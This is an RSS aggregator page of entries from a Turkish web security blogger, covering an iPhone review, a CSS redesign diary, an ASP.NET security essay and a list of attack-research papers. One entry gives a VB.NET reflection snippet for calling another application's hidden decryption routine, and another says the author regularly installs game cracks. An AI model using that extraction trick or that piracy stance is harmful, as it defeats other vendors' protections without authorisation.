You are not logged in [login] | [register]

you are here: home » blogs (technical) » web development

SEARCH FOR A FEED

Google
Web RSSMad.com

Searching 181754 articles in 8938 feeds.

RSS CATEGORIES

TELL A FRIEND

Do you like RSS MAD? Why not spread the news and tell a friend about it - it's as easy as filling out this form!

Ferruh Mavituna | Articles

added: Tue, 27th September 2005 | 783 views | 0x in favourites
feed url: http://ferruh.mavituna.com/rss/

Daily Web Development & Security Related News, Articles

Latest feed entries:

Hayat Detoksu

Hayatın ticari toksinlerinden kurtulma amacı ile 15 günlüğüne hayat detoksuna gidiyorum. Bu süre içerisinde yorumlar mucizevi bir şekilde onaylanacak, ancak yeni bir yazı site semalarında gözükmeyecektir.

Şimdi ben 15 gün boyunca yazı yazmayınca tüm site okurları boykota gidecek, hatta insanlar sitelerini kapatıp benim 15 gün blog yazmamamı protesto edecek, imza toplayıp avrupa insan haklarına gidip "blogu okuma haklarının ellerinden alınamayacağını" belirtecek, fanatikler yeni bir worm yazıp Ferruh yazı yazmıyorsa internetin ne anlamı var diyerekten ünlü 13 hayalete DDoS saldırıları düzenleyecekler.

Lütfen arkadaşlar bu tip şeylere gerek yok, bakınız :

SELECT COUNT(*) FROM Article
1737

1.737 yazı sizi bekliyor...

Ben sitede yokken biraz yorum yazın da, site canlı gözüksün. Bir de ben yok hergün bir doz şu videoyu izleyin :

This isn't a seminar, this isn't a weekend retreat. You have to realise that someday you will die, Until you know that, You are useless.

26 Eylül 2008

Ailenizin ziyaretçi kaygısı olmayan, her telden çalan, cümle başına 17 yazım hatası yapan, ayrı yazılan de ve da' lar kan davası olan, sorunlu blogcusu.

iPhone Almamak İçin 22 Neden

Bir ay kadardır IPhone 3G kullanıyorum, TR' de de herkes sanal kamp yapmaya başlamış o yüzden almadan önce keşke bilseydim dediklerimi yazayım dedim.

  1. Şarjı çok az gidiyor, Vasat bir kullanım ile 1-2 gün civarı,
  2. İnternet beklediğinizden çok daha yavaş, kapsama alanları aslında o kadar da kapsamıyor,
  3. Wireless desteği kötü ve yavaş,
  4. IPhone için kaliteli uygulama çok az, yazılımların yarısı arada bir kitlenip, uçuyor,
  5. Kırmadan (jailbreak vs.) yükleyebileğiniz yazılım sayısı az,
  6. Yazılım geliştirirken maalesef .NET ya da Java desteği yok,
  7. Bir çok video formatını desteklemiyor,
  8. Windows kullanıcıysanız ITunes + Quicktime kurmanız zorunlu ve bunların ikisi de birbirinden rezil ve Windows ortamında saçmalık derecesinde yavaş yazılımlar,
  9. ITunes' un backup alması 1-4 saat arasında sürüyor, genelde sıkılıp MobileBackup.exe yazılımını direk sonlandırmak zorunda kalıyorsunuz.
  10. GPS şaka gibi, internet olmadan çalışmıyor, çalıştığı zamanlarda da süper yavaş çalışıyor. Gerçek ve offline bir GPS yazılım ile gelmiyor, dolayısıyla eğer GPS özelliğini gerçek bir GPS gibi kullanmayı düşünüyorsanız şimdiden vazgeçin,
  11. IPhone içerisindeki dosya, klasörlere direk erişim yok. Herşeyin ITunes üzerinden yapılması gerekiyor bu da senkronizasyon vs. gibi işleri çok zorlaştırıyor. Kendi bilgisayarınızın başında değilken IPhone' unuza müzik, video atmanız imkansız hale geliyor,
  12. Pahalı,
  13. MMS desteği yok,
  14. Her ne kadar işim olmasa da kendi MP3 vs. dosyalarınınizdan ringtone yapmamanız başka salak bir limitasyon,
  15. Ses ile kontrol, Kulaklık üzerinden çağrı kabul etme vs. gibi özellikleri yok,
  16. Iphone 3G' nin bazı eski IPhone / IPod aksesuarları ile uyumsuz olması, Kendini şarj etmemesi vs. (bkz. IDragon)
  17. Safari' de Flash' ın çalışmaması, buna rağmen youtube videoları özel yazılım ile çalışıyor,
  18. PDF, CHM vs. adam gibi hiç bir formatı okuyamıyor olması. O kadarki aslında dosya transferi yapamadığınızdan ve dosya sistemine erişmedeğinizden HTML bile okuyamıyor diyebiliriz. Bu da e-book konseptini öldürüyor.
  19. Apple her zamanki gibi mouse' da 2 butona ne hacet mantığı ile, Kopyala / Yapıştır sizin neyinize diyerekten böyle bir özellik sunmayı da gereksiz bulmuş. Ne de olsa salak bir sanal klavye ile 15 karakter şifre girme çok doğal bir iş.
  20. Uzun listelerde scroll yaparken, parmaklarınızın ağrıması ve hayatınızın gözlerinizin önünde şerit IPhone uygulaması olarak geçmesi.
  21. Kontakları SMS ile gönderememe (Bundan emin değilim, ben henüz bulamadım bulan varsa söylesin),
  22. Video kayıt özelliğinin olmaması.

 

Yiğidi Öldür Hakkını Yeme Listesi

  1. Bir çok açıdan donanım ve yazılım çok kullanışlı,
  2. Seksi & İnce,
  3. Video kalitesi, müzik kalitesi ve genel olarak IPod fonksiyonu güzel,
  4. Telefon ile konuşurken IPhone' u kullanmaya pürüzsüz devam edebilme, IPod dinlerken gelen çağrıları vs. güzelce kabul edebilme ve yeni arama yapabilme.
  5. Text-render ve görüntü kalitesi,
  6. Ekranın kendini ışığa doğru ayarlaması, dönmesi, kulağınıza getirince ekranın kapanması çekince tekrar açılması ve benzeri sensör aksiyonları,
  7. Kaliteli kulaklık.

Keşke biri Windows Mobile' ı bu donanımın içine koyabilse o zaman dünya çok daha güzel bir yer olurdu...

Yeni Tasarımın Yapılışı - II

Bu yazının ilk bölümü: Yeni Tasarımın Yapılışı - I

Tasarımı HTML’ e aktarmak - 07.04.08

Pazar sabahı, 9:45 gibi uyandım, önce sitenin tasarımını Fireworks üzerinde fena olmayan bir seviyeye getirdim. Bunu yaparken RSS ikonuna ihtiyacım oldu normal RSS ikonlarını Feed Icons sitesinden aldım. Ek olarak e-mail ile RSS’ e üye olacaklar içinde bir ikona ihtiyacım oldu. Onun için de E-mail Subscriptions Icons’ u buldum ve onu da oradan çarptım. Tabii ki ikiside ücretsiz ve serbest şekilde dağıtılıyor, dolayısıyla isteyen sitesinde kullanabilir. İkonları ve benzer dış kaynakları kullanırken lisansa bakmak her zaman önemli, aksi takdirde Süleyman Hocam canımıza okur :)

CSS Tasarımı

Önce istediğimiz yapı için bir CSS şablonu bulmak gerekiyor. CSS’ yi kendimiz de yazabiliriz ama yapılmışı tekrar yapmamak için hemen CSS şablon avına çıkıyoruz. CSS şablonu veren bir çok site var ama şu iki tanesi benim hoşuma gidiyor. Iron Myers – Pure CSS Layouts ve Layout Gala ikiside her tarayıcıda bu CSS’ lerin sorunsuz çalıştığını iddia ediyorlar. Ben de onlara inanıyorum ve CSS’ lerinin basit ve temizliğinden dolayı Layout Gala’ yı seçiyorum.

İlgimi çeken CSS’ yi yüklüyor, Edit+ ile HTML kodlamaya başlıyorum.

Arada bir dizi başka iş yaptım, saat şu an 15:27...

Alıntı CSS’ si oluşturmak

Blog yazarken sık sık gereken bir şey başkalarından alıntı yapmak. O yüzden güzel bir blockquote tagını çok kullanıyorum, bunu belli etmek için güzel bir CSS oluşturmam gerekiyordu. Bu iş için Design Meme’ de güzel bir örnek var ama sadece Firefox’ ta çalışıyor bu da bizim işimizi görmüyor tabii ki. Bende şu an ki sitedeki gibi basit bir şey yapmak istedim. Aşağıdaki gibi bir şey yaptım;

image

CSS ise şu şekilde;

blockquote{

background: url('mg/openquote.gif') no-repeat left top;
padding-left: 16px;
padding-top:2px;
color:#555;
margin-left:14px;

}

blockquote p,blockquote div,blockquote td,blockquote span{

font:italic 14px "Georgia", serif;

}

İlk İzlenimler

Sağ taraftaki hakkında kısmını da hallettikten sonra aşağıdaki gibi bir HTML’ e ulaştım.

image

Resimde görülen sağdaki navigasyon kısım başlıklarını şu şekilde bir CSS ile gerçekleştirdim.

div.section h2{
text-align:center;
background: url('/mg/blackdot.gif') repeat-x center;
margin-top:0;
}

div.section h2 span{
font: normal 24px Times, serif;
color:#333;
background-color:#FFF;
padding:0 10px 0 10px;
}

HTML kısmı ise gene çok basit;

ARAMA

Şimdilik güzel gidiyoruz.saat : 17:35. Bir kaç kek ve 330ml Coca Cola tükettim.

Yazı devam edecektir...

.NET Reflection, RCE and Hard Coded Keys

Sometimes you need to extract some data out of another application but the data stored as encrypted. As you might guess generally keys are just hardcoded, but mostly algorithm is custom. Since there is no such a thing as "client-side security", there are so many ways to do decrypt this data.

You can go and reverse the code which is decompiling the application and copy, paste then tweak the code to compile. But this can be a real pain when dependencies and obfuscated code comes into the play.  Since new obfuscators taking the advantage of IL tricks, generally it's not easy to use decompiler generated high-level code without heavy modification.

Unless you are a masochist I'd suggest you to use the application's code to do the job.

  1. Find the decryption point and the DLL,
  2. Invoke the related decryption function using reflection.

We use reflection instead of simply referencing the dll because this way it's possible to call any method within any scope such as private and friend which wouldn't be possible otherwise. Also it allows us to easily bypass Strong Name restrictions without touching to the original binary.

Here is the code:

   1: Function Decrypt(ByVal data As String) As String
   2:     'Load Assembly
   3:     Dim CustomAssembly As Assembly = Assembly.Load("DLL.To.Load")
   4:     Dim CustomType As Type = CustomAssembly.GetType("DLL.To.Load.SecretClass", True, False)
   5:  
   6:     Dim CopyObj As Object = CustomAssembly.CreateInstance(CustomType.FullName)
   7:     Dim Res As Object = CustomType.InvokeMember("Decrypt", BindingFlags.InvokeMethod, Nothing, CopyObj, New Object() {data})
   8:  
   9:     Return Res.ToString
  10: End Function

DRM, Spore ve Korsan Yazılım

Daha önceden söylemiştim "legal yazılım kullanmak zor iş" diye. EA şimdi Spore' da ve daha önceden de Mass Effect' te aktivasyon sistemi kullanmış. Yani oyun en azından 10 günde bir internetten kendini onaylamalıymış, aksi takdirde çalışmamaya başlıyormuş. Ek olarak sadece 3 defa aktivasyona izin veriyormuş.

Bildiğiniz gibi ben korsan yazılıma karşıyım ama korsan yazılıma karşı olmak salak olmak anlamına gelmiyor. Bir DVD' nin kopyasını sadece kendiniz için çıkarıyorsanız bile bu işlem bir çok ülkede kanuna aykırı. Şimdi bu oyunlarda da benzer bir durum sözkonusu. Ancak eğer filmin orijinal DVD' sinde bir sorun çıkarsa gidip yeni bir tane mi almanız gerekiyor?

EA' e göre de oyunu 3 defa kurduktan sonra gidip yeni bir oyun almanız gerekiyor (ya da kendilerini telefon ile arayıp derdinizi anlatmanız). Bu firmaların dertlerini anlıyorum ancak bu saçma bir durum ve bilinçli bir tüketici olarak iki defa düşünmeden oyunun crack' ini indirip kurarım -nitekim düzenli olarak yapıyorum-.

Benim teorim basit; firmaların bu şekilde önlemlere gitmesi uzun vadede onların işine yaramayacak ve eninde sonunda bundan vazgeçecekler. Çünkü paranla rezil  olmak tam da bu durum için söylenmiş bir söz.

Güzel bir örnek

ATV' nin iste & izle isimli bütün ATV dizilerini online izleyebileceğiniz bir sistemi var. Aylık fiyatı 15 YTL gibi bir fiyat. Bugün HBO' nun Lost' u web üzerinden HD kalitesinde ücretsiz yayınladığını düşünürseniz bence biraz cüretkar bir deneyim ama o kısım önemli değil. Sonuçta bir hizmet ve bence güzel bir adım, ama...

Avrupa Yakası son 3 senedir izlediğim tek yerli dizi diyebilirim ve ben de bu yüzden ATV' nin bu sistemine üye oldum.

  • ATV dizileri sadece online izlemenize izin veriyor (ve süper bir internet çıkışları yok)
  • ATV' nin online yayın kalitesi 260*200 gibi bırakın HD' yi NTSC/PAL kalitesine bile yetişmeyen bir kalitede.

Google' da iki tıklama ötemde olan site ise Avrupa Yakası' nı en iyi kalitede download edebileceğim bir formatta sunuyor. Benim çözümüm basit ATV' ye parasını öderim, giderim diğer siteden download ederim. Etik olarak kafam rahat. Çok istiyorlarsa bu akıl almaz hırsızlığım(!) için beni dava edebilirler.

Burada not düşmek lazım ATV' nin sitesinde şu slogan yok:

Satın al ve akıl almaz kötü bir kalitede tüm dizileri izle. Ya da youtube' a git onun kalitesi bile bizden iyi.

Yeni Tasarımın Yapılışı - I

Bir süredir yeni tasarım yayında. Yeni tasarımı yaparken bir nevi geliştirme günlüğü tutmuştum. Ne yaptım, neler kötü gitti, neler güzel gitti, hangi kaynakları kullandım vs. gibi. Bu dokümanları parça-parça yayınlamaya başlıyorum. Bu serinin birincisi, çok uzun değil bunun gibi 2-3 bölüm daha var. Bütün seri bittikten sonrada genel olarak ne bekliyordum, ne buldum yazısı yazmaya çalışacağım.

Gereksinimler

  • Temiz ve kullanışlı bir tasarım
  • Geçerli XHTML Strict veya Transitional
  • Eskisi gibi tablosuz CSS temelli tasarım
  • 1024*768 ve yukarısı çözünürlüklerde verim
  • Ortada “fixed” 960px layout, bu şekilde okunurluğun daha yüksek olduğunu düşünüyorum
  • Geçerli XHTML Strict veya en azından XHTML Transitional kodu olması
  • Geçerli CSS 2.1
  • Tüm sitenin UTF-8 olması
    Şu anki sistemde sitenin yarısı UTF-8 ama hepsi değil bu hem teknik sorunlara neden oluyor hem de bazı durumlarda Türkçe karakterlerin doğru gösterilmesine engel oluyor.

Ekstra Eklenecek Özellikler

  • Tamamen yeni ASP.NET altyapısı, Sistemin bir kısmı zaten ASP.NET ama hepsini ASP.NET’ e geçirmek istiyorum
  • Yorumlar için CAPTCHA desteği
  • AJAX ile yorumları okuma ve yazma
  • Site arşiv sayfaları
    • Tag tabanlı arşiv
    • Tarih tabanlı arşiv
    • Ana konu tabanlı arşivler
      • Projeler
      • Araştırma Dokümanları
      • Download
  • Yeni yorumlardan e-mail ile haberdar etme
  • Trackback gönderme ve kabul etme
  • İngilizce arabirim desteği, ikinci adım

Tasarım – 06.04.08

Ben tasarımcı değilim ama tasarımcı olarak bir geçmişim var. Yeni tasarımdaki amaçlarımdan biri daha okunaklı ve daha temiz, curcuna olmayan bir tasarım sunmaktı. Bir şeye başlamadan önce ilham almak için beğendiğim blogların tasarımlarına ve güzel tasarımları listeleyen ilham sitelerine baktım. Kendi beğendiğim blog sitelerine bakarken komik bir şey farkettim, bu sitelerin hiçbirini aslında ziyaret etmiyorum sadece RSS’ ten okuyorum. Bu da “içerik kraldır” lafını tekrar onaylıyor. Tabii ki bunu kendime bahane etmiyorum!

Bu şekilde sağı - solu bir saat kadar dolaştıktan sonra, kendi arşivimdeki eski yaptığım çalışmaları incelemeye başladım. Grafik konularından o kadar uzak kalmışım ki bir şey yapmak çok zor geliyor. O yüzden daha formdayken yaptığım çalışmalardan çalmayı düşünüyordum. Eski PNG dosyaları arasında bir saat kadar harcadıktan sonra ve Fireworks CS3 ile de bir kaç deneme yaptıktan sonra eski materyalleri değiştirip güzel ve basit bir logo çıkardım kendime.

clip_image001Ben genelde tasarıma logodan başlarım daha sonra da tüm konsepti logo üzerine kurarım. Bu seferde gene o şekilde yaptım. Soldaki logoyu tasarladıktan sonra, bunun üzerine tasarımı geliştirdim.

Önce gazete benzeri bir konsept yakalamaya çalıştım, bu adımda bir kaç rasterize efektli fotografta denedim ama istediğim gibi olmadı, bu sırada daha basit bir aşağıdaki çalışmaya ulaştım.

clip_image002

Ama bu sefer siteyi aşağıdaki gibi, 960px, 2 kolon fixed istiyordum.

clip_image003

Bu şekilde istememin ana nedeni ise orta içeriğin 500px gibi sabit bir şey ile limitleyebilmekti. Dolayısıyla yukarıdaki tasarımı değiştirip, bu şablona uyacak bir hale getirdim. Son zamanlarda wordpress temalarında popüler olan alt kısmı farklı bir renk ile ayırma işlemi de çok hoşuma gittiği için bir de ek bir renk ile footer çalıştım ve ortaya aşağıdaki çıktı.

clip_image005

Deneyimli tasarımcılar çoktan farketmiştir istediğim şablon / CSS Layout ile yukarıdaki tasarımı birleştirmede temel bir arka plan sorunu var. Bu yüzden Logoyu tamamen transparan bir arkaplan ile çalıştım ve header ve footer arka planlarını da yatay olarak tekrar edebilecek bir hale getirdim. Orjinal resimler 1600px uzunluğunda dolayısıyla bir çok monitörde zaten tekrar etmelerine gerek kalmayacak ama tekrar ederlerse de bu tamamen gözükmeyen bir geçiş ile olacak. Basitçe resimlerin soldaki başlangıçları ile sağdaki bitişlerini aynı çizgi üzerinde tuttum. Düz olmadıklarından dolayı bu biraz vakit aldı ama sonunda oldu. Bu işlemi yaparken “Ruler” ve “Grid” leri görünür hale getirmek çok işinize yarayacaktır.

Bütün bunları yapmak ve yukarıdaki hale getirmek yaklaşık 6-7 saat sürdü. Cumartesi öğleden öncem bu işe gitmiş oldu. Pazar sabahı da tasarımdaki son detaylarla oynayıp HTML’ e aktarmaya başladım.

Bir sonraki yarın yazı Pazar sabahından devam edecek....

ASP.NET Güvenliği ve Platform Tasarımı

Öncelikle genel yapılan geyiklerden birini kestirip atalım:

Tüm sunucu-taraflı (server-side) diller aynı seviyede güvenlidir, herşey kodu yazan kişiye bağlıdır.

Bunu unutun, yok böyle bir şey. Hemen açıkça söyleyelim mesela ASP.NET tasarımı PHP ye göre çok daha güvenlidir. Şimdi bir çok kişi yorumlara saldırmadan önce yazıya devam edelim. Mesela Struts (dil değil platform/framework) hatırı sayılır derecede bir çok platformdan daha güvenlidir.

Her dilde ve platformda güvenli olmayan yazılım geliştirebilirsiniz ama bazı platformlarda güvenli olmayan yazılım geliştirmek çok daha kolay. Şimdi bir dilin - platformun güvenlik noktasında nasıl analiz edilebileceğine bir bakalım.

Server-Side dillerin Güvenlik Analiz Kriterleri:

  • Yazılım güvenliği, platformun kendisinde çıkan açıklar (buffer overflow, yanlış çalışan encoding fonksiyonları vs.)
  • Platform tarafından sunulan güvenlik kütüphaneleri, fonksiyonlar
  • Platformun dokümantasyon ve eğitimlerin güvenli yazılım geliştirme pratiklerini teşvik ediyor olması. Güvenli kod yazmanın kolay olması
  • Güvenli varsayılan ayarlar ve fonksiyonlar varsayılan olarak güvenli şekilde çalışması

Burada bütün platformaları karşılaştırmayacağım zaten farklı platformlardaki teknik yetersizliğimden dolay bunu yapma imkanım da yok ama örnekler verip ASP.NET' in neleri başarılı bir şekilde yaptığını göstermeye çalışacağım.

Platformun Kendisinde Çıkan Açıklar

Bu tip açıklara şu örnekleri verebiliriz : ASP.NET Request Validation Bypass, PHP Global Overwrite, PHP Zend Hash Problemleri, Struts Validation Bypass vs.

PHP bu konuda tamamen sabıkalı, The Month of PHP Bugs bunu bize gösterdi zaten. Burada söyleyecek pek bir şey yok, ASP.NET in .NET Framework' ü üzerinde geliştirilmiş olması aynı Java gibi onu Buffer Overflow ve benzeri ataklardan tamamen korunmasına neden oluyor. Dolayısıyla .NET Framework' ün temelinde bir sorun çıkmadıktan sonra bir dizi güvenlik açığının ASP.NET te görülmesi imkansız hale geliyor.

Bunun harici foksiyonların kendilerinde çok ciddi sorunlar çıkmadı buna rağmen NULL karakterler ile string birleştirme operastyonları etkileme gibi açıkları çıktı. Dolayısıyla ASP.NET' te bu konuda mükemmel değil ama çok da kötü değil.

Güvenlik Kütüphaneleri ve Fonksiyonlar

ASP.NET tasarlandığı gibi kullanıldığında şu sorunların hepsini çözüyor :

  • SQL Injection
    Parameterised Query kullanımı
  • XSS, Cross-site Scripting
    Default olarak control' lerde encoding desteği, Request Validation desteği (bu sadece derinlemesine defans faktörü, sorunun çözümü değil). Bunlara rağmen ASP.NET' in control encoding desteğinin o kadar mükemmel olmadığını da belirtmek lazım.
  • Güvenli Kullanıcı Sistemi (Login/Logout, Role sistemi, şifre güvenliği vs.)
    ASP.NET Membership sistemi basit ve güvenli şekilde bir kullanıcı sistemi oluşturmanıza izin veriyor.
  • CSRF (Cross-site Request Forgery)
    ViewStateUserKey ile uygulama CSRF ataklarına karşı güvenli hale getirilebilir.
  • CRLF Injections
    İç fonksiyonların güvenli olması otomatik olarak CRLF açıklarından (HTTP Splitting) koruyor. Bazı fonksiyonlarda sorun olsa da en azından genelde güvenli diyebiliriz.
  • Parameter Manipulation
    ASP.NET istemci tarafına giden datanın modifiye edilmeden döndüğünü kontrol edebiliyor ama bu aslında pek iyi bir yazılım geliştirme pratiği değil. Eğer istemci tarafına giden datanın aynı olmasını istiyorsanız istemciden gelen parametreyi kullanmaz ve datayı session yada benzeri bir yerde tutarsınız. Buna rağmen bazı yazılımlar scability amaçlı buna ihtiyaç duyabiliyorlar.

    Ek olarak ASP.NET Validators var, bunlar sayesinde girdi denetimi yapmakta gayet pratik.

Bunun harici güvenlik ile ilgili bir çok hazır fonksiyon ve kütühane sunuyor:

  • Şifreleme ve Encoding Kütüphaneleri. Ek olarak bu kütüphaneler UTF8 ve UTF8 olmayan data ile de iyi geçiniyorlar.

Güvenli Yazılım Geliştirmeye Teşvik Etme

ASP.NET' in resmi dokümantasyonu güvenliğe çok önem veriyor. Bir çok güvenlik ile ilgili makale ve bu güvenlik özelliklerinin nasıl kullanılacağına dair dokümantasyon sunuyor. Bundan daha da önemlisi örneklerde Parameterised Query kullanımı gibi güvenli kullanımlar öneriliyor ve gösteriliyor. Bir çok işlem için gerekli fonksiyonlar zaten olduğundan kullanıcıların kendi kodlarını yazması gerekmiyor.

Güvenli Varsayılan Ayarlar ve Fonksiyonlar

Bu en önemli özelliklerden biri ve Microsoft' un güvenlik devriminden beri çok önemverdiği bir unsur. ASP.NET varsayılan olarak hata mesajlarını göstermiyor, debugging' i aktif hale getirmiyor.

Response.Redirect fonksiyonu da varsayılan olarak güvenli fonksiyonlara güzel bir örnek olabilir. Mesela PHP' de sayfa yönlendirme işleminden sonra manuel olarak sayfanın işlemin durdurmanız gerekiyor*. Bunu yapmdığınızda üyelik gerektiren sayfalara şifresiz erişim mümkün olabilir. ASP.NET ise bu fonksiyon varsayılan olarak işlemi durduruyor ama isterseniz ekstra bir parametre ile çağırıp sayafnın işlemesini durdurabiliyorsunuz.

Bu yazı bir karşılaştırma yazısı değil daha çok güvenli platform geliştirmeye güzel bir örnek olarak ASP.NET' i gösterme amaçlıdır. Şu an hangi penetration tester' a sorarsanız sorun ASP.NET sitelerinin genellemede çok daha güvenli olduğunu söyleyecektir**.

Güvenli Kod Yazmak Bunun Neresinde ?

Eğer kod güvensiz yazıldıysa maalesef sizi koruyabilecek bir platform henüz keşfedilmedi, ek olarak mantıksal açıklar da aynı şekilde. Hiç bir yazılım dili ya da platform sizi böyle delice bir şey yapmaktan alı koyamaz!

 

* Bunun ana nedeni bu fonksiyonun (header) çok jenerik olması.
** En azından 50 site üzerinde penetration testing yapıp, değişik platformlarda değişk siteler ile çalıştığını varsayıyorum.
*** Nihayet uzun bir aradan sonra teorik ama hala teknik bir yazı yazabildim.

Şeytan Yemini ve The Escapists

Bir kaç gün İskoçya - Edinburgh' da olacağım ondan sonra da hafta sonu ufak bir tatile kaçıyoruz.

Şeytan YeminiBu arada bu yolculukları uzun süredir okumak için vakit kolladığım kitaplardan biri olan Jean-Christophe Grangé' ın Şeytan Yemini kitabına başlamayı düşünüyorum. Grange' ın bu harici tüm kitaplarını zaten okunuştum. Dolayısıyla bunun da süper olduğundan eminim.

Bu sırada bir hafta kadar önce The Escapists' i bitirdim. Süper bir çizgi roman (daha doğrusu graphic novel) değil ama fena da değildi. Bu aralar biraz nostalji yapıyorum ve nedense içimde ciddi bir çizgi roman okuma hissi var. Listemde de Hellboy v1, Watchmen, The Umbrella Academy gibi kitaplar var.

Dönünce bir kaç kitap ve programlama konusunda yazmayı planlıyorum. Bir de 10 sayfadan uzun bir tasarım dizisi yazısı var. Yeni siteyi yapmaya başladığımdan bu yana aldığım notlar ve site geliştirme süreci. Onu da yayınlanabilir formata getiririr getirmez 3-4 blog postu olarak yayınlamaya çalışacağım.

Şehir dışında olacağımdan bu hafta pek bir şey yazamayabilirim ve yorum onayları biraz gecikebilir.

Süper Makale White Papers

Some of my published white papers in chronological order.

  • Hiding your identity in the Internet (Turkish) - 26.04.2003
  • Small XSS Paper - 28.07.2004
    Potentially the first paper ever talks about detecting and exploiting XSS vulnerabilities in HTML attributes and Javascript blocks.
  • A Practical Guide to PGP (Turkish) - 09.01.2005
    Practical introduction to PGP, explains basic of PGP with some real world examples.
  • Attacking and Defending Wireless Networks (Turkish) - 25.12.2005
    A Highly detailed document about attacking and defending wireless network.
  • SQL Injection Cheat Sheet - 15.03.2007
    The most comprehensive SQL Injection Cheat Sheet, includes lots of detailed information about SQL injection methods and covers several different databases. Translated into Japanese, Published in "Hacker Japan" Issue 05.2007.
  • XSS Tunnelling - 10.07.2007
    Cutting edge research about exploitation of XSS vulnerabilities. Explains the implementation and idea of tunnelling HTTP traffic through XSS channels to bypass several restrictions and gain a total control over the victim's session.
  • Deep Blind SQL Injection - 26.10.2007
    A new way to exploit Blind SQL Injections which allows attacker to get 16+ different answers at a time from Blind SQL Injections instead of 2 (true or false). Also it's implemented in BSQL Hacker.
  • SQL Wildcard Attacks - 12.05.2008
    A new attack vector against web applications and databases. Affects more than 70% of web applications with an MS SQL Server database. This attack is now documented in the OWASP Testing Guide v3 as well.
  • SSL Implementation Security FAQ - 14.05.2008
    Quite comprehensive FAQ for common SSL implementation security pitfalls.
  • Süper Makale Yeni Site Yayında!

    Nihayet yeni siteyi yayın aldım. Hata raporları başlasın!

    Tüm taglama işlemleri henüz bitmedi, onları yapmaya devam ediyorum. Sitede bir sürü yeni özellik var, gezin, tozun kurcalayın. Heryerde RSS var üye olun. Keyfini çıkartın.

    Yeni Siteye Geçiş

    Bir süredir üzerinde çalıştığım yeni sisteme geçiş çalışmalarına başladım. Önümüzdeki 1-2 gün boyunca yazılan yorumlar yeni sisteme taşınmayabilir ve site düzgün çalışmayabilir.

    Yeni site açıldığındada bir kaç kriz yaşanabilir, dolayısıyla hazırlıklı olun ve 23-24 Ağustos tarihlerindeki güzel yorumlarınızın taşınamayacağı ihtimalini gözönünüde bulundurarak yazın.

    Hack & Slash Development

    Bu aralar bayağı boktan yazılar yazıyormuş gibi hissediyorum* ama Quantity always trumps quality ve dibi görmeden göğü görmek mümkün değildir diyerekten kendimi avutuyorum**.

    Bir kaç gün önce BSQL Hacker' ı yayınladım. BSQL Hacker yaklaşık 4-5 sene önce yazmaya başladığım bir yazılım. Başladığımda basit bir kod parçasıydı, yaklaşık bir sene önce çeki düzen verip bir çok kısmını tekrar yazmaya ve global bir formata oturtmaya çalıştım. Şimdi ciddi bir yazılım olma yolunda.

    Yazılımın çıkışı bu şekilde organik olunca geliştirme süreci biraz tuhaf bir hal alabiliyor. Benim için BSQL Hacker' ı geliştirmek The Cool Cam gibiydi. Yüzlerce bug varken ben yeni özellikler ekledim, çünkü bug temizlemek ciddi derecede sıkıcı bir işken yeni ve "cool" bir özellik eklemek çok daha eğlenceli. Her ne kadar yazılımı yayınlayıp, kaliteli bir şekilde dağıtmayı istesem de bu yazılım Afrika' daki aç çocukları doyurmayacağından eğlence kısmı benim esas dinamom oldu.

    Yazılımda genelde temel sorunu çözmek yerine bug' ı çözdüm, bu rezil bir yöntem ama gel görki saatler değil dakikalar harcayarak süper bir şey değil ama çalışan bir şey çıkartabiliyorsunuz.  Ama siz siz olun Never debug standing

     

    * "Sadece bu aralar mı?" dedi biri?, ayıp, ayıp.
    ** Bu noktada Chuck Palahniuk - Choke' taki dibe vurma konseptini de irdelemek lazım.
    *** Kendime blog postlarında en fazla "obscure referanslar" gönderen blogcu seçiyorum, eski yazıların bir kısmındaki göndermeleri ben bile anlayamıyorum!

    XSS Shell and XSS Tunnel Video

    Infinity Exists released a new episode which shows how to setup and use XSS Shell and XSS Tunnel.  It explains how to download, setup and attack with XSS Shell / Tunnel. If you want to learn how to use it, having problems or just want to take a look at it, watch episode 21 - XSS Tunnel.

    I've released a simple 2 minutes video ages ago, you can download it as well. If you are interested in technical details read XSS Tunnelling whitepaper.

    Sentenced to years of school

    Gods must be crazy' nin harika girişinden bir parça :

    The more he improved his  surroundings to make life easier...
    ...the more complicated he made it.

    Now his children are sentenced to years of school, to learn how to survive in this complex and hazardous habitat.

    Tüm script' i şuradan görebilirsiniz. Filmi izlemediyseniz de tavsiye ederim, biraz eski ve bazı kısımları gerçekten tırt ama sırf ilk girişi izlemek bile yeterli.

    Paylaşmak İçin Kaç Kişiye İhtiyaç Var

    Hep aklımdaki bir sorudur, bir şeyi kaç kişi ile paylaşırsanız bu paylaşıma değmiş olur. Mesela twitter hesabınızı kimse takip etmiyorsa twitter' a mesaj göndermenin bir anlamı var mı?

    RSS' inizi kaç kişi okursa ya da sitenize günde kaç kişi gelirse bu sitede yazmaya değer? Yoksa bu paylaştığınız kişi sayısı ile kişisel tatmin bir birinden bağımsız olarak mı çalışıyor? Bir kaç seferinde teknik sorunlardan dolayı yazdığım yazıları kaybettim. Onları bir daha oturup yazmamıştım çünkü benim için esas olan yazmaktı, dolayısıyla kişisel tatmin tamamlanmıştı ama bazen yazıyorsunuz çünkü gerçekten paylaşmak istiyorsunuz.

    Aynı konu rapidshare' da dosya paylaşmak ya da youtube' da video yayınlamak için de geçerli. Bir youtube videosunu hazırlamak upload etmek için 3 saat harcadıysanız ve onu sadece 170 kişi izlediyse, bir daha bu tip bir şey yaparmıydınız? Soruyu devam ettirebiliriz yazdığınız bir kitabı kaç kişi okursa bu kitabı yazmış olmaya değer?

    Mesela bu nedenden dolayı bazı teknik yazıları Türkçe hiç yayınlamıyorum çünkü harcadığım vakte değmiyor. Konu çok teknik ve spesifik olunca zaten çok az kişinin ilgisini çekiyor, bu az kişinin %75 i ingilizce biliyor oluyor dolayısıyla bir yazıyı sadece 10 kişi için Türkçeye çevirmiş oluyorsunuz, bu da harcadığınız vakte genelde değmiyor.

    Sansür Muhabbetleri

    Bu konudan daha önce temel şekilde bahsetmiştim ama dayanamayıp tekrar yazacağım.

    Eğer gerçek dünyadaki bir suç dijital ortamda işlendiyse bu suçu değiştirmez. Eğer birisini dolandırırsanız dolandırıcılıktan yargılanırsınız, eğer internet üzerinden dolandırırsanız nitelikli dolandırıcılıktan yargılanırsınız, ama suç değişmez.

    Herkes yırtınıyor internette sansür olmasın diye, tamam olmasın ama Türkiye' de sansür var. Kanun bu. Eğer bir şeylere yırtınacaksak sansür olmasın diye yırtınmamız gerekiyor. Düşünce özgürlüğünün olmadığı (bir çok konuda) bir ülkede İnternette düşünce özgürlüğünün olması için dayanağınız nedir çok merak ediyorum.

